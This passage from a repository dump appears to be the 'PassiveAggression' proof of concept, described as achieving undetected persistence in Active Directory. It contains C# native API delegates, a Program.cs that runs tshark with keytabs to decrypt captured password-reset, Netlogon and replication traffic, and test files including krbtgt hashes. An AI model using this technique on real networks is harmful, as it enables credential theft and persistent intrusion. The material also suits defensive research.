302 | public delegate bool LookupPrivilegeValue(string lpSystemName, String lpName, ref Natives.LUID luid);
303 |
304 | [SuppressUnmanagedCodeSecurity]
305 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
306 | public delegate bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref Natives.TOKEN_PRIVILEGES NewState, UInt32 BufferLengthInBytes, ref Natives.TOKEN_PRIVILEGES PreviousState, out UInt32 ReturnLengthInBytes);
307 |
308 | [SuppressUnmanagedCodeSecurity]
309 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
310 | public delegate bool LookupAccountNameA(string lpSystemName, string lpAccountName, byte[] Sid, ref uint cbSid, StringBuilder ReferencedDomainName, ref uint cchReferencedDomainName, out Natives.SID_NAME_USE peUse);
311 |
312 | [SuppressUnmanagedCodeSecurity]
313 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
314 | public delegate bool ConvertSidToStringSid(byte[] pSID, out string ptrSid);
315 |
316 | [SuppressUnmanagedCodeSecurity]
317 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
318 | public delegate bool ConvertSidToStringSid2(IntPtr pSID, out string ptrSid);
319 |
320 | [SuppressUnmanagedCodeSecurity]
321 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
322 | public delegate bool ConvertStringSidToSid(string stringsid, out IntPtr ptrSid);
323 |
324 | [SuppressUnmanagedCodeSecurity]
325 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
326 | public delegate int RpcBindingFromStringBinding(string bindingString, out IntPtr lpBinding);
327 |
328 | [SuppressUnmanagedCodeSecurity]
329 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
330 | public delegate int I_RpcBindingInqSecurityContext(IntPtr Binding, out IntPtr SecurityContextHandle);
331 |
332 | [SuppressUnmanagedCodeSecurity]
333 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
334 | public delegate IntPtr NdrClientCall2_1(IntPtr pMIDL_STUB_DESC, IntPtr formatString, ref IntPtr hDrs);
335 |
336 | [SuppressUnmanagedCodeSecurity]
337 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
338 | public delegate IntPtr NdrClientCall2_2(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr hBinding, Guid NtdsDsaObjectGuid, Natives.DRS_EXTENSIONS_INT ext_int, ref IntPtr pDrsExtensionsExt, ref IntPtr hDrs);
339 |
340 | [SuppressUnmanagedCodeSecurity]
341 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
342 | public delegate IntPtr NdrClientCall2_3(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr hDrs, uint dcInVersion, Natives.DRS_MSG_DCINFOREQ_V1 dcInfoReq, ref uint dcOutVersion, ref Natives.DRS_MSG_DCINFOREPLY_V2 dcInfoRep);
343 |
344 | [SuppressUnmanagedCodeSecurity]
345 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
346 | public delegate IntPtr NdrClientCall2_4(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr hDrs, uint dcInVersion, Natives.DRS_MSG_CRACKREQ_V1 dcInfoReq, ref uint dcOutVersion, ref IntPtr dcInfoRep);
347 |
348 | [SuppressUnmanagedCodeSecurity]
349 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
350 | public delegate IntPtr NdrClientCall2_5(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr hDrs, uint dwInVersion, Natives.DRS_MSG_GETCHGREQ_V8 pmsgIn, ref uint dwOutVersion, ref Natives.DRS_MSG_GETCHGREPLY_V6 pmsgOut);
351 |
352 | [SuppressUnmanagedCodeSecurity]
353 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
354 | public delegate int RpcBindingFree(ref IntPtr lpString);
355 |
356 | [SuppressUnmanagedCodeSecurity]
357 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
358 | public delegate int RpcStringBindingCompose(String ObjUuid, String ProtSeq, String NetworkAddr, String Endpoint, String Options, out IntPtr lpBindingString);
359 |
360 | [SuppressUnmanagedCodeSecurity]
361 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
362 | public delegate int RpcBindingSetAuthInfoEx(IntPtr lpBinding, string ServerPrincName, UInt32 AuthnLevel, UInt32 AuthnSvc, IntPtr identity, UInt32 AuthzSvc, ref Natives.RPC_SECURITY_QOS SecurityQOS);
363 |
364 | [SuppressUnmanagedCodeSecurity]
365 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
366 | public delegate int RpcBindingSetOption(IntPtr Binding, UInt32 Option, IntPtr OptionValue);
367 |
368 | [SuppressUnmanagedCodeSecurity]
369 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
370 | public delegate int RpcBindingSetObject(IntPtr Binding, ref Guid val);
371 |
372 | [SuppressUnmanagedCodeSecurity]
373 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
374 | public delegate int RpcEpResolveBinding(IntPtr Binding, IntPtr IfSpec);
375 |
376 | [SuppressUnmanagedCodeSecurity]
377 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
378 | public delegate IntPtr CreateFileW(string lpFileName, uint dwDesiredAccess, uint dwShareMode, ref Natives.SECURITY_ATTRIBUTES lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
379 |
380 | [SuppressUnmanagedCodeSecurity]
381 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
382 | public delegate int RegQueryValueEx(IntPtr hKey, string lpValueName, IntPtr lpReserved, ref uint lpType, IntPtr lpData, ref uint lpcbData);
383 |
384 | [SuppressUnmanagedCodeSecurity]
385 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
386 | public delegate IntPtr RpcAsyncEnumPrinterDrivers(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr hBinding, StringBuilder pName, string pEnvironment, uint level, IntPtr drivers, uint cbBuf, ref uint pcbNeeded, ref uint pcReturned);
387 |
388 | [SuppressUnmanagedCodeSecurity]
389 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
390 | public delegate IntPtr RpcAsyncAddPrinterDriver(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr hBinding, StringBuilder pName, IntPtr pDriverContainer, uint dwFileCopyFlags);
391 |
392 | [SuppressUnmanagedCodeSecurity]
393 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
394 | public delegate int RtlDecryptDES2blocks1DWORD(byte[] data, ref UInt32 key, IntPtr output);
395 |
396 | [SuppressUnmanagedCodeSecurity]
397 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
398 | public delegate IntPtr GetSidSubAuthority(IntPtr sid, UInt32 subAuthorityIndex);
399 |
400 | [SuppressUnmanagedCodeSecurity]
401 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
402 | public delegate IntPtr GetSidSubAuthorityCount(IntPtr psid);
403 |
404 | [SuppressUnmanagedCodeSecurity]
405 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
406 | public delegate int RtlEncryptDecryptRC4(ref Natives.CRYPTO_BUFFER data, ref Natives.CRYPTO_BUFFER key);
407 |
408 | [SuppressUnmanagedCodeSecurity]
409 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
410 | public delegate int QueryContextAttributes(IntPtr hContext, uint ulAttribute, ref Natives.SecPkgContext_SessionKey pContextAttributes);
411 |
412 | [SuppressUnmanagedCodeSecurity]
413 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
414 | public delegate int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, int flags);
415 |
416 | [SuppressUnmanagedCodeSecurity]
417 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
418 | internal delegate int BCryptDestroyKey(IntPtr hKey);
419 |
420 | [SuppressUnmanagedCodeSecurity]
421 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
422 | public delegate int BCryptOpenAlgorithmProvider(out Bcrypt.SafeBCryptAlgorithmHandle phAlgorithm, string pszAlgId, string pszImplementation, int dwFlags);
423 |
424 | [SuppressUnmanagedCodeSecurity]
425 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
426 | public delegate int BCryptSetProperty(SafeHandle hProvider, string pszProperty, string pbInput, int cbInput, int dwFlags);
427 |
428 | [SuppressUnmanagedCodeSecurity]
429 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
430 | public delegate int BCryptGenerateSymmetricKey(Bcrypt.SafeBCryptAlgorithmHandle hAlgorithm, out Bcrypt.SafeBCryptKeyHandle phKey, IntPtr pbKeyObject, int cbKeyObject, IntPtr pbSecret, int cbSecret, int flags);
431 |
432 | [SuppressUnmanagedCodeSecurity]
433 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
434 | public delegate int BCryptDecrypt(Bcrypt.SafeBCryptKeyHandle hKey, IntPtr pbInput, int cbInput, IntPtr pPaddingInfo, IntPtr pbIV, int cbIV, IntPtr pbOutput, int cbOutput, out int pcbResult, int dwFlags);
435 |
436 | [SuppressUnmanagedCodeSecurity]
437 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
438 | public delegate int BCryptEncrypt(Bcrypt.SafeBCryptKeyHandle hKey, IntPtr pbInput, int cbInput, IntPtr pPaddingInfo, IntPtr pbIV, int cbIV, IntPtr pbOutput, int cbOutput, out int pcbResult, int dwFlags);
439 |
440 | [SuppressUnmanagedCodeSecurity]
441 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
442 | public delegate IntPtr ASN1_CreateModule(uint nVersion, uint eRule, uint dwFlags, uint cPDU, IntPtr[] apfnEncoder, IntPtr[] apfnDecoder, IntPtr[] apfnFreeMemory, int[] acbStructSize, uint nModuleName);
443 |
444 | [SuppressUnmanagedCodeSecurity]
445 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
446 | public delegate Natives.ASN1error_e ASN1_CreateEncoder(IntPtr pModule, out IntPtr ppEncoderInfo, IntPtr pbBuf, uint cbBufSize, IntPtr pParent);
447 |
448 | [SuppressUnmanagedCodeSecurity]
449 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
450 | public delegate Natives.ASN1error_e ASN1_CreateDecoder(IntPtr pModule, out IntPtr ppDecoderInfo, IntPtr pbBuf, uint cbBufSize, IntPtr pParent);
451 |
452 | [SuppressUnmanagedCodeSecurity]
453 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
454 | public delegate bool ASN1BERDotVal2Eoid(IntPtr pEncoderInfo, string dotOID, IntPtr encodedOID);
455 |
456 | [SuppressUnmanagedCodeSecurity]
457 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
458 | public delegate void ASN1_FreeEncoded(ref Natives.ASN1encoding_s pEncoderInfo, IntPtr pBuf);
459 |
460 | [SuppressUnmanagedCodeSecurity]
461 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
462 | public delegate void ASN1_CloseEncoder(IntPtr pEncoderInfo);
463 |
464 | [SuppressUnmanagedCodeSecurity]
465 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
466 | public delegate void ASN1_CloseDecoder(IntPtr pDecoderInfo);
467 |
468 | [SuppressUnmanagedCodeSecurity]
469 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
470 | public delegate void ASN1_CloseModule(IntPtr pModule);
471 |
472 | [SuppressUnmanagedCodeSecurity]
473 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
474 | public delegate bool CreateProcessWithLogonW(string userName, string domain, string password, Natives.LogonFlags dwLogonFlags, string applicationName, string commandLine, Natives.CreationFlags dwCreationFlags, uint environment, string currentDirectory, ref Natives.STARTUPINFO startupInfo, out Natives.PROCESS_INFORMATION processInformation);
475 |
476 | [SuppressUnmanagedCodeSecurity]
477 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
478 | public delegate bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, ref Natives.SECURITY_ATTRIBUTES lpTokenAttributes, int ImpersonationLevel, int TokenType, ref IntPtr phNewToken);
479 |
480 | [SuppressUnmanagedCodeSecurity]
481 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
482 | public delegate bool SetThreadToken(IntPtr pHandle, IntPtr hToken);
483 |
484 | [SuppressUnmanagedCodeSecurity]
485 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
486 | public delegate void NtResumeProcess(IntPtr hProcess);
487 |
488 | [SuppressUnmanagedCodeSecurity]
489 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
490 | public delegate uint NtTerminateProcess(IntPtr hProcess, uint uExitCode);
491 |
492 | [SuppressUnmanagedCodeSecurity]
493 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
494 | public delegate uint NetrServerReqChallenge(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr PrimaryName, IntPtr ComputerName, IntPtr ClientChallenge, out Natives.NETLOGON_CREDENTIAL ServerChallenge);
495 |
496 | [SuppressUnmanagedCodeSecurity]
497 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
498 | public delegate uint NetrServerAuthenticate3(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr PrimaryName, IntPtr AccountName, Natives.NETLOGON_SECURE_CHANNEL_TYPE SecoureChannelType, IntPtr ComputerName, IntPtr ClientChallenge, out Natives.NETLOGON_CREDENTIAL ServerChallenge, out uint NegotiateFlags, out uint AccountRid);
499 |
500 | [SuppressUnmanagedCodeSecurity]
501 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
502 | public delegate uint NetServerPasswordSet2(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr PrimaryName, IntPtr AccountName, Natives.NETLOGON_SECURE_CHANNEL_TYPE AccountType, IntPtr ComputerName, IntPtr Authenticator, IntPtr ReturnAuthenticator, IntPtr ClearNewPassword);
503 |
504 | [SuppressUnmanagedCodeSecurity]
505 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
506 | public delegate bool LogonUser(string pszUserName, string pszDomain, string pszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken);
507 |
508 | [SuppressUnmanagedCodeSecurity]
509 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
510 | public delegate bool ImpersonateLoggedOnUser(IntPtr hToken);
511 |
512 | [SuppressUnmanagedCodeSecurity]
513 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
514 | public delegate bool RevertToSelf();
515 |
516 | [SuppressUnmanagedCodeSecurity]
517 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
518 | public delegate int RegOpenKeyExW(IntPtr hKey, string lpSubKey, uint ulOptions, Natives.ACCESS_MASK samDesired, IntPtr phkResult);
519 |
520 | [SuppressUnmanagedCodeSecurity]
521 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
522 | public delegate int RegQueryInfoKeyW(IntPtr hKey, IntPtr lpClass, IntPtr lpcchClass, ref uint lpReserved, IntPtr lpcSubKeys, IntPtr lpcbMaxSubKeyLen, IntPtr lpcbMaxClassLen, IntPtr lpcValues, IntPtr lpcbMaxValueNameLen, IntPtr lpcbMaxValueLen, IntPtr lpcbSecurityDescriptor, IntPtr lpftLastWriteTime);
523 |
524 | [SuppressUnmanagedCodeSecurity]
525 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
526 | public delegate int RegCloseKey(IntPtr hKey);
527 |
528 | [SuppressUnmanagedCodeSecurity]
529 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)]
530 | public delegate bool CryptAcquireContextA(ref IntPtr phProv, string szContainer, string szProvider, uint dwProvType, uint dwFlags);
531 |
532 | [SuppressUnmanagedCodeSecurity]
533 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)]
534 | public delegate bool CryptSetKeyParam(IntPtr hKey, uint dwParam, IntPtr pbData, uint dwFlags);
535 |
536 | [SuppressUnmanagedCodeSecurity]
537 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)]
538 | public delegate bool CryptDestroyKey(IntPtr hKey);
539 |
540 | [SuppressUnmanagedCodeSecurity]
541 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)]
542 | public delegate bool CryptReleaseContext(IntPtr hProv, uint dwFlags);
543 |
544 | [SuppressUnmanagedCodeSecurity]
545 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)]
546 | public delegate bool CryptImportKey(IntPtr hProv, IntPtr pbData, uint dwDataLen, IntPtr hPubKey, uint dwFlags, ref IntPtr phKey);
547 |
548 | [SuppressUnmanagedCodeSecurity]
549 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)]
550 | public delegate bool CryptGetProvParam(IntPtr hProv, uint dwParam, IntPtr pbData, ref uint pdwDataLen, uint dwFlags);
551 |
552 | [SuppressUnmanagedCodeSecurity]
553 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)]
554 | public delegate bool CryptExportKey(IntPtr hKey, IntPtr hExpKey, uint dwBlobType, uint dwFlags, IntPtr pbData, ref uint pdwDataLen);
555 |
556 | [SuppressUnmanagedCodeSecurity]
557 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)]
558 | public delegate bool CryptGenKey(IntPtr hProv, uint Algid, uint dwFlags, IntPtr phKey);
559 |
560 | [SuppressUnmanagedCodeSecurity]
561 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi, SetLastError = true)]
562 | public delegate bool CryptDecrypt(IntPtr hKey, IntPtr hHash, bool Final, uint dwFlags, IntPtr pbData, ref uint pdwDataLen);
563 |
564 | [SuppressUnmanagedCodeSecurity]
565 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)]
566 | public delegate int RegEnumKeyExW(IntPtr hKey, uint dwIndex, IntPtr lpName, IntPtr lpcchName, IntPtr lpReserved, IntPtr lpClass, IntPtr lpcchClass, IntPtr lpftLastWriteTime);
567 |
568 | [SuppressUnmanagedCodeSecurity]
569 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
570 | public delegate IntPtr CreateFileMappingA(IntPtr hFile, IntPtr lpFileMappingAttributes, uint flProtect, uint dwMaximumSizeHigh, uint dwMaximumSizeLow, IntPtr lpName);
571 |
572 | [SuppressUnmanagedCodeSecurity]
573 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
574 | public delegate IntPtr MapViewOfFile(IntPtr hFileMappingObject, uint dwDesiredAccess, uint dwFileOffsetHigh, uint dwFileOffsetLow, long dwNumberOfBytesToMap);
575 |
576 | [SuppressUnmanagedCodeSecurity]
577 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
578 | public delegate bool UnmapViewOfFile(IntPtr lpBaseAddress);
579 |
580 | [SuppressUnmanagedCodeSecurity]
581 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
582 | public delegate int NtOpenDirectoryObject(ref IntPtr DirectoryHandle, Natives.ACCESS_MASK DesiredAccess, IntPtr ObjectAttributes);
583 |
584 | [SuppressUnmanagedCodeSecurity]
585 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
586 | public delegate int NtQueryDirectoryObject(IntPtr DirectoryHandle, byte[] Buffer, uint Length, bool ReturnSingleEntry, bool RestartScan, ref uint Context, ref uint ReturnLength);
587 |
588 | [SuppressUnmanagedCodeSecurity]
589 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
590 | public delegate bool GetFileAttributesExW(string lpFileName, Natives.GET_FILEEX_INFO_LEVELS fInfoLevelId, ref Natives.WIN32_FILE_ATTRIBUTE_DATA lpFileInformation);
591 | }
592 | }
593 |
594 | }
595 |
--------------------------------------------------------------------------------
/PassiveAggression/NtApiDotNet/NtApiDotNet.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/huntandhackett/PassiveAggression/3071887eef681c5a5628785223fb11b0d0d483f7/PassiveAggression/NtApiDotNet/NtApiDotNet.dll
--------------------------------------------------------------------------------
/PassiveAggression/PassiveAggression.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net7.0
6 | enable
7 | enable
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 | ..\..\sandbox-attacksurface-analysis-tools\NtApiDotNet\bin\Release\NtApiDotNet.dll
17 |
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/PassiveAggression/Program.cs:
--------------------------------------------------------------------------------
1 | using System.Diagnostics;
2 | using PassiveAgression.Core;
3 | using PassiveAgression.Core.Events;
4 | using PassiveAgression.Core.Network;
5 | using static PassiveAgression.Core.Win32.Natives;
6 | using PassiveAgression.Core.Static;
7 |
8 | namespace PassiveAgression
9 | {
10 | internal class Program
11 | {
12 | #region Properties
13 |
14 | ///
15 | /// Location to pcap containing network info
16 | ///
17 | private static string pcapLocation { get; set; }
18 |
19 | ///
20 | /// Location to keytab containing credentials
21 | ///
22 | private static string keytabLocation { get; set; }
23 |
24 | ///
25 | /// Location to Tshark
26 | ///
27 | private static string tsharkLocation = @"C:\Program Files\Wireshark\tshark.exe";
28 |
29 | private static DataHandler dataHandler;
30 |
31 | #endregion
32 |
33 | static async Task Main(string[] args)
34 | {
35 |
36 | dataHandler = new DataHandler();
37 | Task handlerStart = dataHandler.Start();
38 |
39 | //keytabLocation = @"C:\Code\PassiveAggression\PassiveAggression\TestData\krbtgt\krbtgtreset.keytab";
40 | //pcapLocation = @"C:\Code\PassiveAggression\PassiveAggression\TestData\krbtgt\krbtgtreset.pcapng";
41 |
42 | keytabLocation = @"C:\Code\PassiveAggression\PassiveAggression\TestData\Pwdreset\pwdreset.keytab";
43 | pcapLocation = @"C:\Code\PassiveAggression\PassiveAggression\TestData\Pwdreset\pwdreset.pcapng";
44 |
45 | var tsharkArguments = GetTsharkArguments();
46 |
47 |
48 | TShark tshark = new TShark(tsharkLocation, tsharkArguments);
49 | tshark.Run(ProcessEvent);
50 |
51 | // Let the handler know all data in the pcap has been processed
52 | dataHandler.Stop();
53 |
54 | await handlerStart;
55 |
56 | }
57 |
58 | ///
59 | /// Composes the cmdline argument for tshark that does the following:
60 | /// - filter out packets not needed
61 | /// - extract raw data for needed protocols
62 | /// - read data from pcap
63 | /// - decrypt kerberos data using keytab file
64 | /// - double pass, so fragmented packets can be reassembled
65 | /// - sets output type to json
66 | ///
67 | ///
68 | private static string GetTsharkArguments()
69 | {
70 | // Tshark filters
71 |
72 | string RPC_SESSIONKEY_NEG = $"(netlogon.opnum == {(int)Enums.OP_NETLOGON.NetrServerAuthenticate3} && dcerpc.pkt_type == {(int)Enums.PKT_DCERPC.RESPONSE})";
73 | string KRB_KPASSWD = "(kpasswd)";
74 | string SMB_SESSION_SETUP_REQUEST = $"(smb2.cmd == {(int)Enums.SMB_CMD.SESSION_SETUP})";
75 | string SMB_SESSION_SETUP_RESPONSE = $"(smb2.cmd == {(int)Enums.SMB_CMD.NEGOTIATE})";
76 | string SAMR_SETUSERINFO2 = $"(samr.opnum == {(int)Enums.OP_SAMR.SamrSetInformationUser2} || samr.opnum == {(int)Enums.OP_SAMR.SamrLookupNamesInDomain})";
77 | string RPC_BINDS = $"(dcerpc.pkt_type == {(int)Enums.PKT_DCERPC.BIND} || dcerpc.pkt_type == {(int)Enums.PKT_DCERPC.BINDACK})";
78 | string RPC_REPLICATION = $"(dcerpc.pkt_type == {(int)Enums.PKT_DCERPC.RESPONSE} && dcerpc.opnum == {(int)Enums.OP_DCERPC.DRSGetNCChanges})";
79 | string RPC_NETRLOGONSENDTOSAM = $"(netlogon.opnum == {(int)Enums.OP_NETLOGON.NetrLogonSendToSam} && dcerpc.pkt_type == {(int)Enums.PKT_DCERPC.REQUEST})";
80 |
81 | // compose a filter to filter out all the noise
82 | string filter = string.Join(" || ", SMB_SESSION_SETUP_REQUEST, SMB_SESSION_SETUP_RESPONSE,
83 | SAMR_SETUSERINFO2,
84 | RPC_SESSIONKEY_NEG,
85 | RPC_NETRLOGONSENDTOSAM,
86 | KRB_KPASSWD,
87 | RPC_BINDS,
88 | RPC_REPLICATION);
89 |
90 | // These protocols must be extracted raw.
91 | // Most of these can be extracted using field filters, but some of them are not returned correctly
92 | // and must be fetched using this approach
93 | string[] rawProtocolsToExtract = new string[]
94 | {
95 | "ip",
96 | "tcp",
97 | "rpc_netlogon",
98 | "smb2",
99 | "smb",
100 | "samr",
101 | "rpc",
102 | "dcerpc",
103 | "kerberos",
104 | "drsuapi"
105 | };
106 | var rawProtocolArg = string.Join(" ", rawProtocolsToExtract);
107 |
108 | // Output should be in json format
109 | var outputType = "json";
110 |
111 | var arguments = $"-2 -r \"{pcapLocation}\" -K \"{keytabLocation}\" -Y \"{filter}\" -T {outputType} -J " +
112 | $"\"{rawProtocolArg}\" -x";
113 |
114 | return arguments ;
115 |
116 | }
117 |
118 | ///
119 | /// This function is invoked after deserialization.
120 | /// In this function, we parse data and handle all the logic
121 | ///
122 | ///
123 | public static void ProcessEvent(TSharkMessage msg)
124 | {
125 |
126 | // Process password reset events
127 | if (msg.SAMR_Opnum == Enums.OP_SAMR.SamrSetInformationUser2 &&
128 | msg.DCERPC_PacketType == Enums.PKT_DCERPC.REQUEST)
129 | {
130 | SamrSetInformationUser2 pwdset = new SamrSetInformationUser2(msg);
131 | dataHandler.AddSetInformationUser2(pwdset);
132 |
133 | }
134 |
135 | // Process SMB Session negotiation
136 | if (msg.SMBRequest && msg.SMB_CMD == Enums.SMB_CMD.SESSION_SETUP)
137 | {
138 | SMBSessionSetup setup = new SMBSessionSetup(msg);
139 | dataHandler.AddSMBSessionSetup(setup);
140 | }
141 |
142 | // Process LookupNames request
143 | if (msg.SAMR_Opnum == Enums.OP_SAMR.SamrLookupNamesInDomain)
144 | {
145 | LookupNamesRequest req = new LookupNamesRequest(msg);
146 | dataHandler.AddLookupNamesRequest(req);
147 | }
148 |
149 | // Process RPCNetLogon NetRServerAuthenticate3 request
150 | if (msg.NETLOGON_Opnum == Enums.OP_NETLOGON.NetrServerAuthenticate3)
151 | {
152 | NetRServerAuthenticate3Response res = new NetRServerAuthenticate3Response(msg);
153 | dataHandler.AddNetrServerAuthenticate3Response(res);
154 | }
155 |
156 | // Process NetrLogonSendToSam events
157 | if (msg.NETLOGON_Opnum == Enums.OP_NETLOGON.NetrLogonSendToSam)
158 | {
159 | NetRLogonSendToSam sam = new NetRLogonSendToSam(msg);
160 | dataHandler.AddSendToSam(sam);
161 | }
162 |
163 | // Process RPC binds
164 | if (msg.DCERPC_PacketType == Enums.PKT_DCERPC.BIND ||
165 | msg.DCERPC_PacketType == Enums.PKT_DCERPC.BINDACK)
166 | {
167 | RPCBinding bind = new RPCBinding(msg);
168 | dataHandler.AddRPCBinding(bind);
169 | }
170 |
171 | // Process replication events
172 | if (msg.DCERPC_PacketType == Enums.PKT_DCERPC.RESPONSE &&
173 | msg.DCERPC_Opnum == Enums.OP_DCERPC.DRSGetNCChanges)
174 | {
175 | GetNCChangesResponse response = new GetNCChangesResponse(msg);
176 | dataHandler.AddGetNCChanges(response);
177 | }
178 |
179 | }
180 |
181 | }
182 | }
--------------------------------------------------------------------------------
/PassiveAggression/TestData/Pwdreset/pwdreset.keytab:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/huntandhackett/PassiveAggression/3071887eef681c5a5628785223fb11b0d0d483f7/PassiveAggression/TestData/Pwdreset/pwdreset.keytab
--------------------------------------------------------------------------------
/PassiveAggression/TestData/Pwdreset/pwdreset.pcapng:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/huntandhackett/PassiveAggression/3071887eef681c5a5628785223fb11b0d0d483f7/PassiveAggression/TestData/Pwdreset/pwdreset.pcapng
--------------------------------------------------------------------------------
/PassiveAggression/TestData/krbtgt/krbtgtreset.keytab:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/huntandhackett/PassiveAggression/3071887eef681c5a5628785223fb11b0d0d483f7/PassiveAggression/TestData/krbtgt/krbtgtreset.keytab
--------------------------------------------------------------------------------
/PassiveAggression/TestData/krbtgt/krbtgtreset.pcapng:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/huntandhackett/PassiveAggression/3071887eef681c5a5628785223fb11b0d0d483f7/PassiveAggression/TestData/krbtgt/krbtgtreset.pcapng
--------------------------------------------------------------------------------
/PassiveAggression/TestData/krbtgt/readme.txt:
--------------------------------------------------------------------------------
1 | Old krbtgthash: 21789f1a5fd02143e93ea9d2fb2d6e33
2 | New krbtgthash: ad840b4a42cb50b8d854afb62e1220e8
--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
1 |
2 | # Passive Aggression
3 | This repo contains test samples and proof-of-concept code for achieving passive persistence in Active Directory (AD) environments, even after remediation efforts. Some of these techniques may result in an eternal persistence scenario, where an attacker does not need to have access to domain controllers or domain joined machines, allowing them to continuously persist in the network without detection.
